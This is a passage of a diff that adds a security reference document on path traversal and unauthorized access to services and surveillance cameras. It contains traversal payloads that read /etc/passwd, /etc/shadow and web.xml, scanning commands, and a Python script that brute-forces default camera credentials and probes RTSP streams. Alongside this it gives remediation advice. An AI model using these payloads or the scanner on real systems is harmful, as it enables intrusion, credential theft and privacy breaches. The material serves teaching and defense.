+ %2e%2e%2f = ../
466
+ %2e%2e/ = ../
467
+ ..%2f = ../
468
+ %2e%2e%5c = ..\
469
+
470
+ # Double encoding
471
+ %252e%252e%252f = ../
472
+
473
+ # UTF-8 encoding
474
+ ..%c0%af = ../
475
+ ..%c1%9c = ..\
476
+
477
+ # Null byte truncation
478
+ ../../../etc/passwd%00.jpg
479
+ ```
480
+
481
+ ### 6.3 Typical Cases
482
+
483
+ | Case | Payload | Result |
484
+ |------|---------|--------|
485
+ | Cloud data platform | `?urlParam=../../../WEB-INF/web.xml%3f` | Configuration file disclosure |
486
+ | Appliance manufacturer | `upload.aspx?id=8&dir=../../../../` | Directory browsing + arbitrary deletion |
487
+ | Government website | `down.php?dd=../down.php` | Source code download |
488
+ | Social platform | `curl IP:8888/../../../etc/shadow` | System file read |
489
+
490
+ ### 6.4 Automated Testing
491
+
492
+ ```bash
493
+ # Using dotdotpwn
494
+ dotdotpwn -m http -h target -x 8080 -f /etc/passwd
495
+
496
+ # Using wfuzz
497
+ wfuzz -c -z file,traversal.txt --hc 404 http://target/download.php?file=FUZZ
498
+ ```
499
+
500
+ ---
501
+
502
+ ## 7. Meta-Analysis Methodology
503
+
504
+ ### 7.1 Unauthorized Access Detection Flow
505
+
506
+ ```
507
+ 1. Information Gathering
508
+ +-- Port scanning (nmap)
509
+ +-- Service identification (fingerprinting)
510
+ +-- Path enumeration (dirsearch)
511
+
512
+ 2. Service Probing
513
+ +-- Database services (6379, 27017, 3306, 9200)
514
+ +-- Middleware admin consoles (7001, 8080)
515
+ +-- Monitoring services (3000, 5601)
516
+ +-- File services (873, 21)
517
+
518
+ 3. Authentication Testing
519
+ +-- Default credential attempts
520
+ +-- Weak password brute forcing
521
+ +-- Authentication bypass testing
522
+
523
+ 4. Authorization Verification
524
+ +-- Vertical Privilege Escalation (regular user -> admin)
525
+ +-- Horizontal Privilege Escalation (IDOR) (user A -> user B)
526
+ +-- API authorization checks
527
+
528
+ 5. Exploitation
529
+ +-- Data exfiltration
530
+ +-- Privilege escalation
531
+ +-- Lateral movement
532
+ ```
533
+
534
+ ### 7.2 Key Insights
535
+
536
+ 1. **Architecture level**: Internal services exposed to the public internet is the primary cause of unauthorized access
537
+ 2. **Configuration level**: Default configurations and weak credentials are the most common attack entry points
538
+ 3. **Development level**: Authorization checks only on the frontend or only verifying login status
539
+ 4. **Operations level**: Debug interfaces and management consoles left open or without ACLs
540
+
541
+ ### 7.3 Remediation Recommendations
542
+
543
+ | Level | Measure |
544
+ |-------|---------|
545
+ | Network | Do not expose internal services to the public internet; use VPN/bastion hosts |
546
+ | Authentication | Enforce complex passwords, disable default accounts, enable MFA |
547
+ | Authorization | Server-side permission checks, principle of least privilege |
548
+ | Monitoring | Anomalous access alerts, log auditing |
549
+ | Hardening | Disable unnecessary management interfaces, regular security assessments |
550
+
551
+ ---
552
+
553
+ ## 8. Quick Reference Card
554
+
555
+ ### 8.1 Common Unauthorized Service Detection Commands
556
+
557
+ ```bash
558
+ # Batch scan common unauthorized access ports
559
+ nmap -sV -p 6379,27017,9200,11211,2181,2379,873,21 target
560
+
561
+ # Redis
562
+ redis-cli -h target info
563
+
564
+ # MongoDB
565
+ mongo target:27017 --eval "db.adminCommand('listDatabases')"
566
+
567
+ # Elasticsearch
568
+ curl -s http://target:9200/_cat/indices
569
+
570
+ # rsync
571
+ rsync --list-only rsync://target/
572
+
573
+ # Docker
574
+ curl http://target:2375/containers/json
575
+ ```
576
+
577
+ ### 8.2 Web Middleware Default Paths
578
+
579
+ ```
580
+ # Tomcat
581
+ /manager/html
582
+ /manager/status
583
+ /host-manager/html
584
+
585
+ # WebLogic
586
+ /console/
587
+ /wls-wsat/
588
+
589
+ # JBoss
590
+ /jmx-console/
591
+ /web-console/
592
+ /invoker/JMXInvokerServlet
593
+
594
+ # Spring Boot Actuator
595
+ /actuator/env
596
+ /actuator/health
597
+ /actuator/heapdump
598
+ /actuator/mappings
599
+ ```
600
+
601
+ ---
602
+
603
+ ## 9. Case Study Analysis
604
+
605
+ ### 9.1 Case Background
606
+
607
+ **Vulnerability ID**: wooyun-2015-0108547
608
+ **Vulnerability Title**: Monitoring Device Unauthorized Access
609
+ **Vulnerability Type**: Unauthorized Access / Authorization Bypass
610
+ **Severity**: High
611
+ **Details**: Direct access to backend management page without authentication required
612
+ **Exploitation**: Access `/admin/index.jsp` to directly enter the admin backend
613
+
614
+ ### 9.2 Root Cause Analysis
615
+
616
+ #### 9.2.1 Why Does Unauthorized Access Exist? (Root Cause Analysis)
617
+
618
+ From a **strategic analysis** perspective, root cause analysis should be performed across three levels: system design, implementation, and deployment:
619
+
620
+ **Layer 1: Design Flaws**
621
+ - **Blurred trust boundaries**: Monitoring devices are typically deployed in internal networks; designers incorrectly assume "internal network = security zone"
622
+ - **Missing security model**: No complete authentication and authorization system established; relies on network isolation rather than application-layer security
623
+ - **Insufficient threat modeling**: Does not consider internal attacks or scenarios where network boundaries are breached
624
+
625
+ **Layer 2: Implementation Errors**
626
+ ```
627
+ Typical code pattern with missing authentication checks:
628
+
629
+ # Incorrect: No authentication check
630
+ @app.route('/admin/index.jsp')
631
+ def admin_panel():
632
+ return render_template('admin.html') # Returns admin interface directly
633
+
634
+ # Correct: Should have authentication decorators
635
+ @app.route('/admin/index.jsp')
636
+ @login_required
637
+ @admin_required
638
+ def admin_panel():
639
+ return render_template('admin.html')
640
+ ```
641
+
642
+ **Layer 3: Deployment Configuration Errors**
643
+ - **Insecure default configuration**: Device ships with admin backend requiring no authentication, relying on "post-deployment configuration"
644
+ - **Configuration oversight**: Operations personnel fail to enable authentication mechanisms or modify default configurations
645
+ - **Missing documentation**: Vendor does not provide security configuration guides
646
+
647
+ #### 9.2.2 Root Cause Analysis: Systemic Security Issues
648
+
649
+ **Core Insight**: This is not simply a "forgot to add a password" issue, but reflects a systemic security dilemma in the IoT device industry:
650
+
651
+ 1. **Cost-Driven vs. Security-Driven**
652
+ - IoT device manufacturers pursue minimal cost
653
+ - Security features are viewed as "unnecessary" additional costs
654
+ - Authentication modules increase hardware overhead (CPU/RAM) and development costs
655
+
656
+ 2. **Usability Prioritized Over Security**
657
+ - Devices need rapid debugging during deployment; "no login required" improves deployment efficiency
658
+ - Security mechanisms are forgotten after deployment
659
+ - Creates the "development convenience = production insecurity" paradox
660
+
661
+ 3. **Long-Tail Vulnerability Management Challenge**
662
+ - Once deployed, monitoring device firmware updates are extremely difficult
663
+ - Vulnerability exposure periods span years (2015 vulnerabilities may still exist in 2020)
664
+ - Cannot iterate and fix as quickly as web applications
665
+
666
+ 4. **Attack Surface Exposed to Public Internet**
667
+ - As IoT proliferates, more devices are directly exposed to the internet (for remote management)
668
+ - Search engines like Shodan can easily discover unauthorized devices
669
+ - Creates an asymmetric situation of "low attack cost, high defense cost"
670
+
671
+ ### 9.3 Monitoring Device Unauthorized Access Attack Surface Matrix
672
+
673
+ | Attack Vector | Default Path | Typical Impact | Detection Method |
674
+ |--------------|-------------|----------------|-----------------|
675
+ | Admin backend | `/admin/index.jsp` | Full device control | Direct access |
676
+ | Video stream | `/mjpg/video.mjpg` | Surveillance video leakage | Open with VLC player |
677
+ | Configuration file | `/config.ini` | Credential disclosure | curl download |
678
+ | Log files | `/logs/` | Internal information leakage | Path traversal |
679
+ | Firmware download | `/firmware/` | Firmware reverse engineering | Directory enumeration |
680
+ | RTSP stream | `rtsp://ip:554/stream` | Real-time video leakage | ffplay playback |
681
+
682
+ ### 9.4 Testing Methodology
683
+
684
+ #### 9.4.1 Monitoring Device Unauthorized Access Detection Flow
685
+
686
+ ```mermaid
687
+ graph TD
688
+ A[Discover target IP] --> B[Port scan to identify device type]
689
+ B --> C{Web service identified?}
690
+ C -->|Yes| D[Enumerate common admin paths]
691
+ C -->|No| E[Probe RTSP/ONVIF protocols]
692
+ D --> F{Returns admin interface?}
693
+ F -->|Yes| G[Try default credentials]
694
+ F -->|No| H[Test path traversal]
695
+ G --> I{Login successful?}
696
+ I -->|Yes| J[Flag as unauthorized/weak credentials]
697
+ I -->|No| K[Test authentication bypass]
698
+ E --> L{RTSP unauthorized?}
699
+ L -->|Yes| M[Flag video stream leakage]
700
+ J --> N[Generate test report]
701
+ K --> N
702
+ M --> N
703
+ H --> N
704
+ ```
705
+
706
+ #### 9.4.2 Automated Detection Script
707
+
708
+ ```python
709
+ #!/usr/bin/env python3
710
+ """
711
+ Monitoring device unauthorized access detection tool
712
+ """
713
+ import requests
714
+ from urllib.parse import urljoin
715
+
716
+ class MonitorDeviceDetector:
717
+ def __init__(self, target_ip):
718
+ self.target_ip = target_ip
719
+ self.results = []
720
+
721
+ # Common monitoring device admin path dictionary
722
+ ADMIN_PATHS = [
723
+ '/admin/index.jsp', # Path from this case
724
+ '/admin/index.html',
725
+ '/admin/login.html',
726
+ '/admin.asp',
727
+ '/admin.php',
728
+ '/admin/index.php',
729
+ '/manager/html',
730
+ '/webui/',
731
+ '/index.html',
732
+ '/login.jsp',
733
+ '/DCS/view/index.html', # D-Link
734
+ '/index.htm', # Vivotek
735
+ '/cgi-bin/view/video.cgi', # Many brands
736
+ ]
737
+
738
+ # RTSP default paths
739
+ RTSP_PATHS = [
740
+ 'rtsp://{ip}:554/stream1',
741
+ 'rtsp://{ip}:554/stream',
742
+ 'rtsp://{ip}:554/live',
743
+ 'rtsp://{ip}:554/h264',
744
+ 'rtsp://{ip}:554/mpeg4',
745
+ ]
746
+
747
+ # Common default credentials
748
+ DEFAULT_CREDS = [
749
+ ('admin', 'admin'),
750
+ ('admin', '123456'),
751
+ ('admin', '12345678'),
752
+ ('admin', 'password'),
753
+ ('admin', ''),
754
+ ('root', 'admin'),
755
+ ('root', '123456'),
756
+ ('guest', 'guest'),
757
+ ]
758
+
759
+ def check_admin_pages(self):
760
+ """Detect admin page unauthorized access"""
761
+ print(f"[*] Checking admin page paths: {self.target_ip}")
762
+
763
+ for path in self.ADMIN_PATHS:
764
+ url = f"http://{self.target_ip}{path}"
765
+ try:
766
+ resp = requests.get(url, timeout=5, verify=False)
767
+
768
+ # Determine unauthorized access
769
+ if resp.status_code == 200 and 'login' not in resp.url.lower():
770
+ self.results.append({
771
+ 'type': 'admin_unauth',
772
+ 'url': url,
773
+ 'status': 'unauthorized_access',
774
+ 'evidence': f'Direct access without authentication: {path}'
775
+ })
776
+ print(f"[+] Unauthorized admin interface found: {url}")
777
+
778
+ # Check if it is a login page (potential brute force target)
779
+ elif 'login' in resp.text.lower():
780
+ self.results.append({
781
+ 'type': 'login_page',
782
+ 'url': url,
783
+ 'status': 'brute_force_candidate',
784
+ 'evidence': f'Login page found: {path}'
785
+ })
786
+ print(f"[*] Login page found: {url}")
787
+
788
+ except Exception as e:
789
+ pass
790
+
791
+ def check_default_credentials(self, login_url):
792
+ """Test default credentials"""
793
+ print(f"[*] Testing default credentials: {login_url}")
794
+
795
+ for username, password in self.DEFAULT_CREDS:
796
+ # POST parameters need to be adjusted based on specific form structure
797
+ try:
798
+ session = requests.Session()
799
+ resp = session.post(login_url, data={
800
+ 'username': username,
801
+ 'password': password
802
+ }, timeout=5)
803
+
804
+ if 'dashboard' in resp.url or 'admin' in resp.url:
805
+ self.results.append({
806
+ 'type': 'weak_password',
807
+ 'url': login_url,
808
+ 'cred': f'{username}:{password}',
809
+ 'status': 'default_creds_working'
810
+ })
811
+ print(f"[+] Default credentials valid: {username}:{password}")
812
+ return True
813
+
814
+ except Exception:
815
+ pass
816
+
817
+ return False
818
+
819
+ def check_rtsp_streams(self):
820
+ """Detect unauthorized RTSP streams"""
821
+ print(f"[*] Checking RTSP streams: {self.target_ip}")
822
+
823
+ # Use ffplay or vlc for testing
824
+ for stream_path in self.RTSP_PATHS:
825
+ stream_url = stream_path.format(ip=self.target_ip)
826
+
827
+ # Use curl to test connectivity (without actual playback)
828
+ import subprocess
829
+ try:
830
+ result = subprocess.run(
831
+ ['curl', '-s', '--connect-timeout', '3', stream_url],
832
+ capture_output=True,
833
+ timeout=5
834
+ )
835
+
836
+ if result.returncode == 0:
837
+ self.results.append({
838
+ 'type': 'rtsp_unauth',
839
+ 'url': stream_url,
840
+ 'status': 'rtsp_stream_accessible'
841
+ })
842
+ print(f"[+] Unauthorized RTSP stream: {stream_url}")
843
+
844
+ except Exception:
845
+ pass
846
+
847
+ def run_full_test(self):
848
+ """Execute full detection"""
849
+ print(f"[*] Starting monitoring device detection: {self.target_ip}")
850
+ print("=" * 60)
851
+
852
+ # 1. Check admin pages
853
+ self.check_admin_pages()
854
+
855
+ # 2. Check RTSP streams
856
+ self.check_rtsp_streams()
857
+
858
+ # 3. Generate report
859
+ print("\n" + "=" * 60)
860
+ print(f"[*] Detection complete, {len(self.results)} issues found")
861
+ print("=" * 60)
862
+
863
+ return self.results
864
+
865
+
866
+ # Usage example
867
+ if __name__ == '__main__':
868
+ import sys
869
+
870
+ if len(sys.argv) < 2:
871
+ print("Usage: python3 monitor_device_detector.py <target_ip>")
872
+ sys.exit(1)
873
+
874
+ target = sys.argv[1]
875
+ detector = MonitorDeviceDetector(target)
876
+ results = detector.run_full_test()
877
+
878
+ # Output JSON report
879
+ import json
880
+ print("\n[JSON Report]")
881
+ print(json.dumps(results, indent=2, ensure_ascii=False))
882
+ ```
883
+
884
+ ### 9.5 Monitoring Device Exploitation Chain
885
+
886
+ ```mermaid
887
+ graph LR
888
+ A[Unauthorized admin backend access] --> B[Obtain device config info]
889
+ B --> C[Discover other internal devices]
890
+ C --> D[Lateral movement]
891
+ A --> E[Modify network config]
892
+ E --> F[DNS hijacking]
893
+ A --> G[Enable remote debugging]
894
+ G --> H[Implant backdoor]
895
+ A --> I[Export recordings]
896
+ I --> J[Privacy breach / extortion]
897
+ ```
898
+
899
+ ### 9.6 Defense System Recommendations
900
+
901
+ #### 9.6.1 Short-Term Emergency Measures
902
+
903
+ ```bash
904
+ # 1. Network isolation
905
+ iptables -A INPUT -p tcp --dport 80 -j DROP # Block public access
906
+ iptables -A INPUT -s [IP redacted] -p tcp --dport 80 -j ACCEPT # Internal only
907
+
908
+ # 2. Enable authentication (if device supports it)
909
+ # Login to admin interface -> System Settings -> Security -> Enable password authentication
910
+
911
+ # 3. Change default ports
912
+ # 80 -> 8080 or other non-standard ports
913
+ ```
914
+
915
+ #### 9.6.2 Long-Term Architecture Plan
916
+
917
+ | Level | Measure | Priority |
918
+ |-------|---------|----------|
919
+ | Network | Deploy in isolated VLAN, prohibit direct public internet access | P0 |
920
+ | Access Control | Access via VPN/bastion host | P0 |
921
+ | Device Hardening | Force enable authentication, change default passwords | P1 |
922
+ | Monitoring | Deploy network traffic monitoring, anomalous access alerts | P1 |
923
+ | Updates | Establish firmware update mechanism, apply patches promptly | P2 |
924
+ | Replacement | Gradually replace legacy devices with no security design | P2 |
925
+
926
+ ### 9.7 Real-World Impact Assessment
927
+
928
+ **Data Source**: Based on Shodan search engine statistics
929
+
930
+ ```
931
+ # Query for unauthorized monitoring devices
932
+ Keywords: "title:Live view" "title:Network Camera"
933
+ Results: Approximately 1,200,000 devices exposed globally
934
+
935
+ Regional distribution:
936
+ - China: 250,000+
937
+ - United States: 180,000+
938
+ - Europe: 150,000+
939
+
940
+ Security concerns:
941
+ 1. Residential privacy leakage (home surveillance publicly broadcast)
942
+ 2. Corporate trade secret leakage (factory, office surveillance)
943
+ 3. Public safety risks (school, hospital surveillance)
944
+ 4. Used as DDoS attack botnet nodes
945
+ ```
946
+
947
+ ### 9.8 Extended Analysis: Structural Challenges of IoT Security
948
+
949
+ From a **system architecture** perspective, monitoring device unauthorized access reflects deeper industry issues:
950
+
951
+ **Challenge 1: Broken Security Responsibility Chain**
952
+ ```
953
+ Chip Manufacturer -> Device Maker -> System Integrator -> End User
954
+ | | | |
955
+ Not concerned Does not want to Does not know Unaware
956
+ manage how to manage
957
+ ```
958
+
959
+ **Challenge 2: Accumulated Technical Debt**
960
+ - Legacy device architectures cannot add security features through firmware updates
961
+ - New devices inherit insecure designs for backward compatibility with old protocols
962
+ - Creates "path dependency," making thorough restructuring difficult
963
+
964
+ **Challenge 3: Security Economics Failure**
965
+ - Attackers benefit greatly (mass device control for botnets)
966
+ - Defenders face high costs (need to update devices one by one)
967
+ - Market lacks a "security premium" mechanism; users are unwilling to pay for security
968
+
969
+ **Strategic Recommendations**:
970
+ 1. **Regulatory level**: Mandatory security certification standards, similar to CE/FCC certification
971
+ 2. **Industry level**: Establish security disclosure mechanisms and rapid response alliances
972
+ 3. **Technical level**: Design zero-trust architecture; devices require authentication from factory
973
+ 4. **Market level**: Insurance industry introduces cybersecurity insurance to incentivize security investment
974
+
975
+ ---
976
+
977
+ *Document version: 1.1*
978
+ *Last updated: 2026-01-23*
979
+ *New content: Monitoring device unauthorized access case analysis*
980
+ *Data source: WooYun vulnerability database + Shodan statistics*